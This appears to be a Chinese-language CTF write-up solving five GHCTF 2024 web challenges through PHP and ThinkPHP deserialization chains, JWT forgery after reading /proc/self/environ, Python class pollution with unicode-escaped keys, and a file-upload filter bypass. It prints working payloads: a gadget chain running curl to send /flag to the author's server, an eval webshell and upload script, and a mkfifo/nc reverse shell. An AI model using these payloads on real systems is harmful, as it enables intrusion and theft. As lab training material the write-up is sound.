GHCTF 2024 Web

[GHCTF 2024]ezzz_unserialize

<?php
/**
 * @Author: hey
 * @message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits.
 * Have fun and Good luck!!!
 */
error_reporting(0);
class Sakura{
    public $apple;
    public $strawberry;
    public function __construct($a){
        $this -> apple = $a;
    }
    function __destruct()
    {
        echo $this -> apple;
    }
    public function __toString()
    {
        $new = $this -> strawberry;
        return $new();
    }

}

class NoNo {
    private $peach;

    public function __construct($string) {
        $this -> peach = $string;
    }

    public function __get($name) {
        $var = $this -> $name;
        $var[$name]();
    }
}

class BasaraKing{
    public $orange;
    public $cherry;
    public $arg1;
    public function __call($arg1,$arg2){
        $function = $this -> orange;
        return $function();
    }
    public function __get($arg1)
    {
        $this -> cherry -> ll2('b2');
    }

}

class UkyoTachibana{
    public $banana;
    public $mangosteen;

    public function __toString()
    {
        $long = @$this -> banana -> add();
        return $long;
    }
    public function __set($arg1,$arg2)
    {
        if($this -> mangosteen -> tt2)
        {
            echo "Sakura was the best!!!";
        }
    }
}

class E{
    public $e;
    public function __get($arg1){
        array_walk($this, function ($Monday, $Tuesday) {
            $Wednesday = new $Tuesday($Monday);
            foreach($Wednesday as $Thursday){
                echo ($Thursday.'<br>');
            }
        });
    }
}

class UesugiErii{
    protected $coconut;

    protected function addMe() {
        return "My time with Sakura was my happiest time".$this -> coconut;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}
class Heraclqs{
    public $grape;
    public $blueberry;
    public function __invoke(){
        if(md5(md5($this -> blueberry)) == 123) {
            return $this -> grape -> hey;
        }
    }
}

class MaiSakatoku{
    public $Carambola;
    private $Kiwifruit;

    public function __set($name, $value)
    {
        $this -> $name = $value;
        if ($this -> Kiwifruit = "Sakura"){
            strtolower($this-> Carambola);
        }
    }
}

if(isset($_POST['GHCTF'])) {
    unserialize($_POST['GHCTF']);
} else {
    highlight_file(__FILE__);
}


首先我们可以先确定关键点就是在于

class E{
    public $e;
    public function __get($arg1){
        array_walk($this, function ($Monday, $Tuesday) {
            $Wednesday = new $Tuesday($Monday);
            foreach($Wednesday as $Thursday){
                echo ($Thursday.'<br>');
            }
        });
    }
}

了解一下array_walk函数的用法

对数组中的每一个元素应用用户所自定义的函数

例如以下代码

<?php
function myfunc($value,$key){
	echo $key;
	echo $value;
}
$a = array("a"=>"two","b"=>"one");
array_walk($a,"myfunc");

根据上面的代码,我们就可以理解为:第一个参数是参数数组,第二个参数就是用户自定义的函数

而此题目的代码,很明显第一个参数是$this,这是代表将当前的E类当作参数数组传给后面的匿名函数

匿名函数里面接收了两个参数一个$Monday,一个$Tuesday
分别对应着E类里面的属性和属性的值
之后通过这行代码$Wednesday = new $Tuesday($Monday);,我们可以知晓用原生类做操作
原生类输出的内容还必须是可迭代的数组

示例代码如下:

<?php
error_reporting(0);
class E{
    public $e;
    public function print(){
        array_walk($this, function ($Monday, $Tuesday) {
            echo "Monday => ".$Monday." | ";
            echo "Tuesday => ".$Tuesday." | ";
            // $Wednesday = new $Tuesday($Monday);
            foreach($Wednesday as $Thursday){
                echo ($Thursday.'<br>');
            }
        });
    }
}
$a = new E();
$a->e = "123";
$a->aaaa = "321";
$a->print();


Monday => 123 | Tuesday => e | Monday => 321 | Tuesday => aaaa |

接下来我们就要去寻找pop链,由于此题类众多,所以我们需要去逆推

E::__get  ->    Heraclqs::__invoke  -> Sakura::__toString -> Sakura::__destruct

这条链子都没有问题,唯一要注意的就是Heraclqs::__invoke

class Heraclqs{
    public $grape;
    public $blueberry;
    public function __invoke(){
        if(md5(md5($this -> blueberry)) == 123) {
            return $this -> grape -> hey;
        }
    }
}

很明显,我们需要满足if判断,双md5加密后要等于123,也就是弱比较

我们需要爆破出双md5加密后,前三个字符为123,紧接着就是字母

import hashlib
import itertools
import string

charset = string.digits+string.ascii_letters
temp = itertools.permutations(charset,3)
#爆破字符
ss = "123"
for i in temp:
    value = "".join(i)
    hash1 = hashlib.md5(value.encode()).hexdigest()
    result = hashlib.md5(hash1.encode()).hexdigest()
    if result[:3] == ss and result[3].isdigit() != True:
        print(value)
        print(result)
1xE
123f91c054f21245ea0130c353cd268d
2tL
123efb30143bdfb734dbbca564d3b6c1
3lD
123bd5b684441a96f13ca9a84f27d85f
4Cs
123c4401f5e69ce636d84ba65e212d25
5nb
123b7f57292d091179acf104fb06fc46
8UF
123c73c352eb60ee0490d18cca679540
aW8
123ac960c0aeec921c78090612c97792
dY1
123be54b97522800b12460c054fbaaa2
esW
123d421d8e8cf3c6b510faafac4d6955
f0w
123b5b3e178d13229daa030ec761faeb
fpr
123a27f6b4365c6f2bf233ddbcf123c2
i2x
123b0c2ad09dcb72b1c741484302d617
jA4
123f275f3f51e568bb6b8e64aa915a96
l4c
123d2bea9174185c248e00ae5e3964ae
msj
123b8afe511deaebe3b6a09c46e79c5c
ouK
123f96770a22200a03d8390c9e5c5c99
v94
123ddcb3300a8c491c0b69437f30ea9c
x3Q
123e7c842bda99116a60ba21b2c8b8a4
za4
123be3a1e076a7733fd30d38b871c6aa
Bp7
123d12764c8b04ef2ef4e93cb99a2736
BsC
123a11415281d8580d04114c06b035d5
Cit
123b2893b87693cbf2a28e1154581930
F1J
123b443033f1f334cafc6dcdd18b906a
GJN
123e54b9d1c075c47c70ad37046adeac
Iyf
123cbc83ec3ea74e9ea169ff73a9f519
OgK
123fca0fb7f20f37ca89ffd0017676ca
V0E
123cef7793b532a38a5d9f07757045fe
X02
123caf12b42087246001ea5c15ee6369
XGd
123eb3bda6e069dd94ab06685a295ca9

接下来我们开始编写pop链

<?php
class Sakura{
    public $apple;
    public $strawberry;
}

class E{
    public $e;
}
class Heraclqs{
    public $grape;
    public $blueberry;
}
$s = new Sakura;
$s->apple = new Sakura;
$s->apple->strawberry = new Heraclqs;
$s->apple->strawberry->blueberry = "2tL";
$s->apple->strawberry->grape = new E;
$s->apple->strawberry->grape->FilesystemIterator = "/";
echo serialize($s);

?>

在这里插入图片描述

现在我们已经知道了存放flag值的文件名,直接进行读取

<?php
class Sakura{
    public $apple;
    public $strawberry;
}

class NoNo {
    private $peach;
}

class BasaraKing{
    public $orange;
    public $cherry;
    public $arg1;

}

class UkyoTachibana{
    public $banana;
    public $mangosteen;
}

class E{
    public $e;
}

class UesugiErii{
    protected $coconut;
}
class Heraclqs{
    public $grape;
    public $blueberry;
}

class MaiSakatoku{
    public $Carambola;
    private $Kiwifruit;
}
$s = new Sakura;
$s->apple = new Sakura;
$s->apple->strawberry = new Heraclqs;
$s->apple->strawberry->blueberry = "2tL";
$s->apple->strawberry->grape = new E;
$s->apple->strawberry->grape->SplFileObject = "/1_ffffffflllllagggggg";
echo serialize($s);

?>

O:6:"Sakura":2:{s:5:"apple";O:6:"Sakura":2:{s:5:"apple";N;s:10:"strawberry";O:8:"Heraclqs":2:{s:5:"grape";O:1:"E":2:{s:1:"e";N;s:13:"SplFileObject";s:22:"/1_ffffffflllllagggggg";}s:9:"blueberry";s:3:"2tL";}}s:10:"strawberry";N;}

得到flag内容

在这里插入图片描述

[GHCTF 2024]理想国

访问得到,如下api

{
"swagger": "2.0",
"info": {
"description": "Interface API Documentation",
"version": "1.1",
"title": "Interface API"
},
"paths": {
"/api-base/v0/register": {
"post": {
"consumes": [
"application/json"
],
"summary": "User Registration API",
"description": "Used for user registration",
"parameters": [
{
"username": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserRegistration"
}
},
{
"password": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserRegistration"
}
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
},
"401": {
"description": "Your wisdom is not sufficient to be called a sage"
}
}
}
},
"/api-base/v0/login": {
"post": {
"consumes": [
"application/json"
],
"summary": "User Login API",
"description": "Used for user login",
"parameters": [
{
"username": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserLogin"
}
},
{
"password": "body",
"in": "body",
"required": true,
"schema": {
"$ref": "#/definitions/UserLogin"
}
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
}
}
}
},
"/api-base/v0/search": {
"get": {
"summary": "Information Query API",
"description": "Used to query information",
"parameters": [
{
"name": "file",
"in": "query",
"required": true,
"type": "string"
}
],
"responses": {
"200": {
"description": "success"
},
"400": {
"description": "Invalid request parameters"
},
"401": {
"description": "Unauthorized"
},
"404": {
"description": "File not found"
}
},
"security": [
{
"TokenAuth": []
}
]
}
},
"/api-base/v0/logout": {
"get": {
"summary": "Logout API",
"description": "Used for user logout",
"responses": {
"200": {
"description": "success"
},
"401": {
"description": "Unauthorized"
}
},
"security": [
{
"TokenAuth": []
}
]
}
}
},
"definitions": {
"UserRegistration": {
"type": "object",
"properties": {
"username": {
"type": "string"
},
"password": {
"type": "string"
}
}
},
"UserLogin": {
"type": "object",
"properties": {
"username": {
"type": "string"
},
"password": {
"type": "string"
}
}
}
},
"securityDefinitions": {
"TokenAuth": {
"type": "apiKey",
"name": "Authorization",
"in": "header"
}
},
"security": [
{
"TokenAuth": []
}
]
}
当前节点:JSON.paths./api-base/v0/register.post.parameters[0].in

一眼看过去,有三个路由:register、login、search

register通过json格式的username和password可以注册用户

login通过json格式的username和password可以登陆用户

search可以通过get传参的file读取文件内容

这题的源代码我们还没有看到,所以我使用search路由去读取/app/app.py的源代码

http://node6.anna.nssctf.cn:23779/api-base/v0/search?file=/app/app.py

# coding=gbk
import json
from flask import Flask, request, jsonify, send_file, render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os

app = Flask(__name__)
app.config['TEMPLATES_RELOAD'] = True
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY')
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')

response0 = {'code': 0, 'message': 'failed', 'result': None}
response1 = {'code': 1, 'message': 'success', 'result': current_time}
response2 = {'code': 2, 'message': 'Invalid request parameters', 'result': None}

def auth(func):
    @wraps(func)
    def decorated(*args, **kwargs):
        token = request.cookies.get('token')
        if not token:
            return 'Invalid token', 401
        try:
            payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            if payload['username'] == User.username and payload['password'] == User.password:
                return func(*args, **kwargs)
            else:
                return 'Invalid token', 401
        except:
            return 'Something error?', 500
    return decorated

def check(func):
    @wraps(func)
    def decorated(*args, **kwargs):
        token = request.cookies.get('token')
        if not token:
            return 'Invalid token', 401
        try:
            payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            if payload['username'] == "Plato" and payload['password'] == "ideal_state":
                return func(*args, **kwargs)
            else:
                return 'You are not a sage. You cannot enter the ideal state.', 401
        except:
            return 'Something error?', 500
    return decorated

@app.route('/', methods=['GET'])
def index():
    return send_file('api-docs.json', mimetype='application/json;charset=utf-8')

@app.route('/enterIdealState', methods=['GET'])
@check
def getflag():
    flag = os.popen("/readflag").read()
    return flag

@app.route('/api-base/v0/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.json['username']
        if username == "Plato":
            return 'Your wisdom is not sufficient to be called a sage.', 401
        password = request.json['password']
        User.setUser(username, password)
        token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
        User.setToken(token)
        return jsonify(response1)
    return jsonify(response2), 400

@app.route('/api-base/v0/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.json['username']
        password = request.json['password']
        try:
            token = User.token
            payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
            if payload['username'] == username and payload['password'] == password:
                response = jsonify(response1)
                response.set_cookie('token', token)
                return response
            else:
                return jsonify(response0), 401
        except jwt.ExpiredSignatureError:
            return 'Invalid token', 401
        except jwt.InvalidTokenError:
            return 'Invalid token', 401
    return jsonify(response2), 400

@app.route('/api-base/v0/logout')
def logout():
    response = jsonify({'message': 'Logout successful!'})
    response.delete_cookie('token')
    return response

@app.route('/api-base/v0/search', methods=['POST', 'GET'])
@auth
def api():
    if request.args.get('file'):
        try:
            with open(request.args.get('file'), 'r') as file:
                data = file.read()
            return render_template_string(data)

        except FileNotFoundError:
            return 'File not found', 404
        except jwt.ExpiredSignatureError:
            return 'Invalid token', 401
        except jwt.InvalidTokenError:
            return 'Invalid token', 401
        except Exception:
            return 'something error?', 500
    else:
        return jsonify(response2)

class MemUser:
    def setUser(self, username, password):
        self.username = username
        self.password = password

    def setToken(self, token):
        self.token = token

    def __init__(self):
        self.username = "admin"
        self.password = "password"
        self.token = jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')

if __name__ == '__main__':
    User = MemUser()
    app.run(host='0.0.0.0', port=8080)

然后读取环境变量配置文件

http://node6.anna.nssctf.cn:23779/api-base/v0/search?file=/proc/self/environ

B3@uTy_L1es_IN_7he_EyEs_0f_Th3_BEh0ld3r

获得Secret_key,根据代码分析,这题的意思也是访问enterIdealState路由,然后解jwt,判断用户名为:Plato ,密码为:ideal_state

接下来我们去jwt.io网站进行构造

在这里插入图片描述

修改cookie访问enterIdealState得到flag

在这里插入图片描述

[GHCTF 2024]CMS直接拿下

题目是一个thinkphp框架

在这里插入图片描述

扫描目录发现www.zip

在这里插入图片描述

下面我只对关键的代码进行了分析

Api.php内容

<?php
namespace app\controller;

use app\model\AdminUser;
use app\model\Datas;
use app\model\Student;
use app\validate\User;
use think\exception\ValidateException;
use think\facade\Db;
use think\facade\Session;
use think\Request;

class Api{
    public function login(Request $request)
    {
        //获取用户提交的数据
        $post = $request->post();

        //对用户提交的数据进行验证,如果验证失败捕获ValidateException异常,并返回一个包含错误信息的json响应,提示账号或密码错误
        try{
            validate(User::class)->check($post);
        }
        catch (ValidateException $e) {
            return json(["msg"=>"账号或密码错误!","code"=>200,"url"=>""]);
        }

        //查询数据库信息,根据用户提交的用户名查询对应的用户信息
        $data = AdminUser::where('username',$post['username'])->findOrEmpty();

        //检查是否查询到数据库信息,以及用户提交的密码是否与数据库中存储的密码匹配上
        if(!$data->isEmpty() && $data['password'] === $post['password']){
            //从数据库中取值,赋值到userinfo数组里 id,username,password
            $userinfo = [
                "id"=>$data['id'],
                "username"=>$data['username'],
                "password"=>$data['password'],
            ];
            //将用户信息存储到会话中
            Session::set('userinfo',$userinfo);
            //返回一个json响应,提示登陆成功,然后重定向到admin/index页面
            return json(["msg"=>"登陆成功!","code"=>200,"url"=>"/admin/index"]);
        }
        else{
            return json(["msg"=>"账号或密码错误!","code"=>404,"url"=>"/admin/login"]);
        }
    }
    public function logout()
    {
//        退个屁,不对接前端了
        //退出登陆页面,删除session信息
        Session::delete('userinfo');
        //返回登陆页面
        return redirect('/admin/login');
    }

    public function list(Request $request)
    {
        //这个函数是在登陆成功后访问
        //获取session存储的userinfo信息
        $userinfo = Session::get('userinfo');
        //判断如果session信息为空,就回到登陆页面
        if(is_null($userinfo)){
            return redirect('/admin/login');
        }
        else {
            //实例化datas对象作为数据库操作
            $db = new Datas;
            //从用户提交的请求中获取页码和显示数量的参数,如果没有就默认提供第一页,每页只显示10条数据
            $page = $request->get('page',1);
            $limit = $request->get('limit',10);
            //定义一个空的查询条件
            $where = [];
            //查询数据库获取符号条件的数据
            $datas = $db->where($where)->field('serialize')->page($page,$limit)->select();
            //统计符合条件的数据总数
            $count = $db->where($where)->count();

            //定义一个空数组lists
            $lists = [];
            //循环上面查询到符合条件的数据
            foreach ($datas as $data){
                //对每条数据进行反序列化的操作,将序列化的数据转换为数组到lists中
                $data = unserialize($data['serialize']);
                $lists[] = [
                    "id" => $data->id,
                    "name" => $data->name,
                    "score1" => $data->score1,
                    "score2" => $data->score2,
                    "score3" => $data->score3,
                    "average" => $data->average];
            }
            //将每条数据的特定字段提取出来,构建一个新的数组,包括每条数据的id、名称
            return json(["code"=>0, "data"=>$lists, "count"=>$count, "msg"=>"获取成功", ]);
        }
    }
    public function update(Request $request)
    {
        //也是登陆成功后才能使用的函数
        $userinfo = Session::get('userinfo');
        //判断是否为空
        if(is_null($userinfo)){
            return redirect('/admin/login');
        }
        else{
            //获取用户提交的数据
            $data = $request->post('data');
            // if(preg_match("/include|include_once|require|require_once|highlight_file|fopen|readfile|fread|fgetss|fgets|parse_ini_file|show_source|flag|move_uploaded_file|file_put_contents|unlink|eval|assert|preg_replace|call_user_func|call_user_func_array|array_map|usort|uasort|uksort|array_filter|array_reduce|array_diff_uassoc|array_diff_ukey|array_udiff|array_udiff_assoc|array_udiff_uassoc|array_intersect_assoc|array_intersect_uassoc|array_uintersect|array_uintersect_assoc|array_uintersect_uassoc|array_walk|array_walk_recursive|xml_set_character_data_handler|xml_set_default_handler|xml_set_element_handler|xml_set_end_namespace_decl_handler|xml_set_external_entity_ref_handler|xml_set_notation_decl_handler|xml_set_processing_instruction_handler|xml_set_start_namespace_decl_handler|xml_set_unparsed_entity_decl_handler|stream_filter_register|set_error_handler|register_shutdown_function|register_tick_function|system|exec|shell_exec|passthru|pcntl_exec|popen|proc_open/i",$data)){
            //     return json(["code"=>404,"msg"=>"你想干嘛!!!"]);
            // }
//            随便吧,无所谓了,不想再编程下去了
            //实例化datas作为数据库操作的实例
            $db = new Datas;
            //将接收到的数据保存到数据库中
            $result = $db->save(['serialize'=>$data]);
            //返回结果
            return json(["code"=>200,"msg"=>"修改成功"]);
        }
    }

//    不想再编程下去了,直接丢一个序列化的接口,省事
    public function seria(Request $request)
    {
        //登陆成功以后才能访问
        //获取session信息
        $userinfo = Session::get('userinfo');
        //判断是否为空
        if(is_null($userinfo)){
            return redirect('/admin/login');
        }
        else{
            //自定义了一个类,序列化数据到seria中
            $seria =  serialize(new Student(
                $request->post('id',2),
                $request->post('name','李四'),
                $request->post('score1',91),
                $request->post('score2',92),
                $request->post('score3',93)
            ));
            //返回获取成功
            return json(["code"=>200, "data"=>$seria, "msg"=>"获取成功"]);
        }
    }
    public function users()
    {
        //实列化AdminUser,用作数据库操作
        $db = new AdminUser;
        //查询adminuser表中所有数据,然后返回到页面,这里会造成用户名及密码泄露
        $datas = $db->select();
        return json(["code"=>0, "data"=>$datas, "msg"=>"获取成功", ]);
    }
//    public function add()
//    {
//        $userinfo = Session::get('userinfo');
//        if(is_null($userinfo)){
//            return redirect('/admin/login');
//        }
//        $db = new Datas;
//        $seria = serialize(new Student(3,'王五',94,100,100));
//        $data = ['serialize'=>$seria];
//        $result = $db->allowField(['serialize'])->save($data);
//    }
//    public function test(Request $request)
//    {
//        $post = $request->post();
//
//        unserialize($post['payload']);
//    }
}

首先关键点就是在于list路由,会出现反序列化

foreach ($datas as $data){
                //对每条数据进行反序列化的操作,将序列化的数据转换为数组到lists中
                $data = unserialize($data['serialize']);
                $lists[] = [
                    "id" => $data->id,
                    "name" => $data->name,
                    "score1" => $data->score1,
                    "score2" => $data->score2,
                    "score3" => $data->score3,
                    "average" => $data->average];
            }

确定了反序列化的点,那我们需要去找序列化的点

seria路由

$seria =  serialize(new Student(
                $request->post('id',2),
                $request->post('name','李四'),
                $request->post('score1',91),
                $request->post('score2',92),
                $request->post('score3',93)
            ));

不给都被固定写死了,不过这个路由并没有写导入数据库的操作,而是在update路由

public function update(Request $request)
    {
        //也是登陆成功后才能使用的函数
        $userinfo = Session::get('userinfo');
        //判断是否为空
        if(is_null($userinfo)){
            return redirect('/admin/login');
        }
        else{
            //获取用户提交的数据
            $data = $request->post('data');
            // if(preg_match("/include|include_once|require|require_once|highlight_file|fopen|readfile|fread|fgetss|fgets|parse_ini_file|show_source|flag|move_uploaded_file|file_put_contents|unlink|eval|assert|preg_replace|call_user_func|call_user_func_array|array_map|usort|uasort|uksort|array_filter|array_reduce|array_diff_uassoc|array_diff_ukey|array_udiff|array_udiff_assoc|array_udiff_uassoc|array_intersect_assoc|array_intersect_uassoc|array_uintersect|array_uintersect_assoc|array_uintersect_uassoc|array_walk|array_walk_recursive|xml_set_character_data_handler|xml_set_default_handler|xml_set_element_handler|xml_set_end_namespace_decl_handler|xml_set_external_entity_ref_handler|xml_set_notation_decl_handler|xml_set_processing_instruction_handler|xml_set_start_namespace_decl_handler|xml_set_unparsed_entity_decl_handler|stream_filter_register|set_error_handler|register_shutdown_function|register_tick_function|system|exec|shell_exec|passthru|pcntl_exec|popen|proc_open/i",$data)){
            //     return json(["code"=>404,"msg"=>"你想干嘛!!!"]);
            // }
//            随便吧,无所谓了,不想再编程下去了
            //实例化datas作为数据库操作的实例
            $db = new Datas;
            //将接收到的数据保存到数据库中
            $result = $db->save(['serialize'=>$data]);
            //返回结果
            return json(["code"=>200,"msg"=>"修改成功"]);
        }
    }

并且没有任何的过滤,update路由会去判断session是否为空,所以我们要登陆进去才能访问这个路由,此题没有注册路由但是给了一个用户泄露的路由就是users

public function users()
    {
        //实列化AdminUser,用作数据库操作
        $db = new AdminUser;
        //查询adminuser表中所有数据,然后返回到页面,这里会造成用户名及密码泄露
        $datas = $db->select();
        return json(["code"=>0, "data"=>$datas, "msg"=>"获取成功", ]);
    }

没有对session进行检验,所以我们直接访问就可以得到用户信息

在这里插入图片描述

拿着这个信息进行登陆,之后来到后台页面

在这里插入图片描述

然后我们通过修改按钮,抓包,到update路由时篡改序列化数据

在这里插入图片描述

pop链脚本如下

<?php
namespace think\model\concern;
trait Conversion
{
}

trait Attribute
{
    private $data = ["ten" => "curl http://xxx.xxxx.xxxx.xxxx:8989/ -d `cat /flag`"];
    private $withAttr = ["ten" => "system"];
}

namespace think;
abstract class Model{
    use model\concern\Attribute;
    use model\concern\Conversion;
    private $lazySave = true;
    protected $withEvent = false;
    private $exists = true;
    private $force = true;
    protected $field = [];
    protected $schema = [];
    protected $connection='mysql';
    protected $name;
    protected $suffix = '';

}

namespace think\model;
use think\Model;

class Pivot extends Model
{
    function __construct($obj = '')
    {
        $this->name = $obj;
    }
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

之后远程vps开启8989端口监听,发包之后刷新成绩页面

在这里插入图片描述

[GHCTF 2024 新生赛]Po11uti0n~~~

访问首页提供了源代码,下面我直接给我分析时写的解释了


import uuid
from flask import Flask, request, session
from secret import black_list
import json


'''
  @Author: hey
  @message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits.
  * Th3_w0r1d_of_c0d3_1s_be@ut1ful_ but_y0u_c@n’t_c0mp1l3_love.
'''

app = Flask(__name__)
#随机生成key
app.secret_key = str(uuid.uuid4())

#定义了类似waf的函数
def cannot_be_bypassed(data):
    #循环black_list列表
    for i in black_list:
        #判断如果黑名单里值在用户提交的数据里就返回False
        if i in data:
            return False
    return True

#接收了两个参数,src和dst
def magicallllll(src, dst):
    #判断dst是否具有__getitem__属性,该属性用于实现对象的索引访问。当对象具有该属性时,可以通过访问列表的形式访问对象的属性
    if hasattr(dst, '__getitem__'):
        #循环src
        for key in src:
            #遍历src,如果src中的值是字典类型,则遍历src的键
            if isinstance(src[key], dict):
                #如果对应的数值依旧是字典类型,并且在dst中存在相同的键且对应的值也是字典类型,就递归调用magicallllll函数
                 if key in dst and isinstance(src[key], dict):
                    magicallllll(src[key], dst[key])
                 else:
                     #如果src里的值不是字典类型,就将src中的值对应赋值给dst中的对应键
                     dst[key] = src[key]
            else:
                #如果src里的值不是字典类型,就将src中的值对应赋值给dst中的对应键
                dst[key] = src[key]
    else:
        #如果dst不具有__getitem__属性,就会进入到这个里面
        #针对src生成键值对
        for key, value in src.items() :
            #如果dst存在相同键并且对应的值是字典类型,就递归调用magicallll函数
            if hasattr(dst,key) and isinstance(value, dict):
                magicallllll(value,getattr(dst, key))
            #否则将src的键值赋值给dst中的属性
            else:
                setattr(dst, key, value)

class user():
    #初始化username和password
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        #判断用户提交的username和password是否和类中存储的用户名和密码相同
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False
#定义一个空列表
Users = []

#用户的注册函数
@app.route('/user/register',methods=['POST'])
def register():
    #判断用户提交的数据是否为空
    if request.data:
        try:
            #检查请求的数据是否包含了恶意的数据
            if not cannot_be_bypassed(request.data):
                return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)"
            #将请求的数据转换成了json格式
            data = json.loads(request.data)
            #判断username和password是否在转换后的json数据里
            if "username" not in data or "password" not in data:
                return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"

            User = user()
            #调用magicallll函数,将解析后键值对形式的数据data赋值到User对象中
            magicallllll(data, User)
            #然后将注册成功后的用户信息存储到Users列表中
            Users.append(User)
        except Exception:
            return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"
        return "Congratulations,The username and password is correct,Register Success!!!"
    else:
        return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"

@app.route('/user/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "The username or password is incorrect,Login Failed,Please log in again!!!"
            for user in Users:
                if user.cannot_be_bypassed(data):
                    session["username"] = data["username"]
                    return "Congratulations,The username and password is correct,Login Success!!!"
        except Exception:
            return "The username or password is incorrect,Login Failed,Please log in again!!!"
    return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

分析完,基本上就可以知道,这是一个python的原型链污染

magicallllll函数很典型,就是将数值进行合并

下面两个路由register和login路由,关键的路由就是register,因为在用户提交参数以后,就会将用户的请求以json键值对的形式(也就是字典)合并到User类中

这里如果传入了特定的值就可以造成原型链的污染,污染基类的属性

@app.route('/user/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not cannot_be_bypassed(request.data):
                return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"
            User = user()
            magicallllll(data, User)
            Users.append(User)
        except Exception:
            return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"
        return "Congratulations,The username and password is correct,Register Success!!!"
    else:
        return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"

不过我们要注意cannot_be_bypassed会对我们提交的数据,进行检查,但是它没有给我们黑名单里面的东西

所以只能盲测,不过后来想想这是用的json格式,那我们直接使用unicode编码绕过不就可以了

注意:不能使用+号拼接绕过,因为json格式的数据,只能是双引号包裹的数据

下面是正常的形式

在这里插入图片描述

我们先简单理解一下为什么这样去写

__class__	用于获取对象所属的类
check	为什么会有这个函数的出现,这是因为,__class__属性是无法和__globals__属性连用
		并且为什么是check函数,这是因为我们提交的数据会和User类进行合并,那么__class__获取到的就是User类,而这个类目前就只有check方法
__globals__		用于访问全局变量(注意只能在函数内使用)
__file__	该变量,我们也可以发现,在根路由有使用,用来读取当前的页面

下面我们进行unicode的编码

在这里插入图片描述

注意:/proc/self/environ已经被我换成了/proc/1/environ

之后再访问首页

在这里插入图片描述

上面是解法1了,下面我再给你们介绍一个解法2

参考此文章

https://tttang.com/archive/1876/#toc__3

_static_url_path 是存放flask中的静态目录的路径,默认值就是static

正常访问的话,就是通过http://xxxxx/static/xxxx

所以我们只要将其值篡改,那我们就可以通过其访问到任何文件

http://xxxx/static/etc/passwd

__init__	在创建类的实例时会进行初始化操作

在这里插入图片描述

{"username":"ten","password":"123456","__init__":{"__globals__":{"app":{"_static_folder":"/"}}}}

然后还是unicode编码

在这里插入图片描述

{"username":"ten","password":"123456","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072":"/"}}}}

在这里插入图片描述

不过,这题我们无法直接读取到flag,估计是flag的文件名被修改了

黑名单

secret.py

black_list = [b'__init__',b'__globals__',b'__file__',b'jinja',b'black_list',b'environ',b'app',b'admin',b'root',]

[GHCTF 2024]PermissionDenied

题目源代码

<?php
 
function blacklist($file){
    $deny_ext = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jSp","jSpx","jSpa","jSw","jSv","jSpf","jHtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","aSp","aSpx","aSa","aSax","aScx","aShx","aSmx","cEr","sWf","swf","ini");
    $ext = pathinfo($file, PATHINFO_EXTENSION);
    foreach ($deny_ext as $value) {
        if (stristr($ext, $value)){
            return false;
        }
    }
    return true;
}

if(isset($_FILES['file'])){
    $filename = urldecode($_FILES['file']['name']);
    $filecontent = file_get_contents($_FILES['file']['tmp_name']);
    if(blacklist($filename)){
        file_put_contents($filename, $filecontent);
        echo "Success!!!";
    } else {
        echo "Hacker!!!";
    }
} else{
    highlight_file(__FILE__);
}

file_put_content函数有一个文件解析的漏洞

当上传123.php/.的时候,file_put_contents函数会认为是要在123.php文件所在的目录下创建一个名为.的文件,最终上传创建的是123.php

123.php内容

<?php eval($_POST[0]);phpinfo();?>
import requests

url = "http://node6.anna.nssctf.cn:22921/"
file = {
    "file":("123.php%2f.",open('1.php','r'))
}
res = requests.post(url=url,files=file).text
print(res)

在这里插入图片描述

蚁剑连接进去以后,可以发现无法执行命令

在这里插入图片描述

查看phpinfo信息,发现命令执行函数被禁用了

在这里插入图片描述

那我们只能使用蚁剑的插件了

在这里插入图片描述

成功命令执行,那我们就反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xxx.xxx.xxx.xxx 8989 >/tmp/f

